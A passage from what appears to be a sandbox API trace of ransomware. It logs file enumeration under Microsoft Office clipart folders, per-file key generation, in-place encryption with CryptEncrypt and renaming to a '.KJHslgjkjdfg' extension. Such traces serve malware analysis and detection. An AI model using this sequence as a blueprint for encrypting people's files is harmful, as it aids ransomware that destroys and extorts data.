lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.542] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.542] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.543] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.543] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.543] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.543] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.543] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.543] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f5c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f5c, lpOverlapped=0x0) returned 1 [0190.544] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f60, dwBufLen=0x1f60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f60) returned 1 [0190.544] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.544] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f60, lpOverlapped=0x0) returned 1 [0190.544] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.544] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.544] SetEndOfFile (hFile=0x114) returned 1 [0190.547] GetProcessHeap () returned 0x2a0000 [0190.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.547] GetProcessHeap () returned 0x2a0000 [0190.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.kjhslgjkjdfg")) returned 1 [0190.549] CloseHandle (hObject=0x114) returned 1 [0190.549] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2944, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00935_.WMF", cAlternateFileName="")) returned 1 [0190.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.551] GetProcessHeap () returned 0x2a0000 [0190.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.551] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.551] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.551] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0190.553] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.554] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.554] GetProcessHeap () returned 0x2a0000 [0190.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.554] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.554] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.554] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.554] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.554] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.554] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.554] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.554] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.554] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.554] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.554] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.554] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2944, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2944, lpOverlapped=0x0) returned 1 [0190.558] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2950, dwBufLen=0x2950 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2950) returned 1 [0190.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.558] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2950, lpOverlapped=0x0) returned 1 [0190.558] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.559] SetEndOfFile (hFile=0x114) returned 1 [0190.561] GetProcessHeap () returned 0x2a0000 [0190.561] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.561] GetProcessHeap () returned 0x2a0000 [0190.561] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.561] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.kjhslgjkjdfg")) returned 1 [0190.563] CloseHandle (hObject=0x114) returned 1 [0190.563] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00938_.WMF", cAlternateFileName="")) returned 1 [0190.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.564] GetProcessHeap () returned 0x2a0000 [0190.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.565] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.565] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.565] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.565] GetProcessHeap () returned 0x2a0000 [0190.565] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.565] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.565] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.565] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.576] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.576] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.576] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.576] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.576] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.576] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.576] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1960, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1960, lpOverlapped=0x0) returned 1 [0190.577] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1960, dwBufLen=0x1960 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1960) returned 1 [0190.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.577] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1960, lpOverlapped=0x0) returned 1 [0190.578] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.578] SetEndOfFile (hFile=0x114) returned 1 [0190.580] GetProcessHeap () returned 0x2a0000 [0190.580] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.580] GetProcessHeap () returned 0x2a0000 [0190.580] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf.kjhslgjkjdfg")) returned 1 [0190.583] CloseHandle (hObject=0x114) returned 1 [0190.583] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00941_.WMF", cAlternateFileName="")) returned 1 [0190.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.584] GetProcessHeap () returned 0x2a0000 [0190.584] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.584] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.584] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.586] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.586] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.586] GetProcessHeap () returned 0x2a0000 [0190.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.587] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.587] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.587] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.587] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.587] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.587] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.587] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.587] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.587] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.587] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.587] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.587] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1708, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1708, lpOverlapped=0x0) returned 1 [0190.588] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1710, dwBufLen=0x1710 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1710) returned 1 [0190.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.588] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1710, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1710, lpOverlapped=0x0) returned 1 [0190.588] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.589] SetEndOfFile (hFile=0x114) returned 1 [0190.591] GetProcessHeap () returned 0x2a0000 [0190.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.591] GetProcessHeap () returned 0x2a0000 [0190.591] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00941_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00941_.wmf.kjhslgjkjdfg")) returned 1 [0190.593] CloseHandle (hObject=0x114) returned 1 [0190.593] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00942_.WMF", cAlternateFileName="")) returned 1 [0190.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.595] GetProcessHeap () returned 0x2a0000 [0190.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.595] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.595] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.595] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0190.619] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.619] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.619] GetProcessHeap () returned 0x2a0000 [0190.619] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.619] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.619] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.620] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.620] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.620] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.620] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.620] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.620] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.620] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.620] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 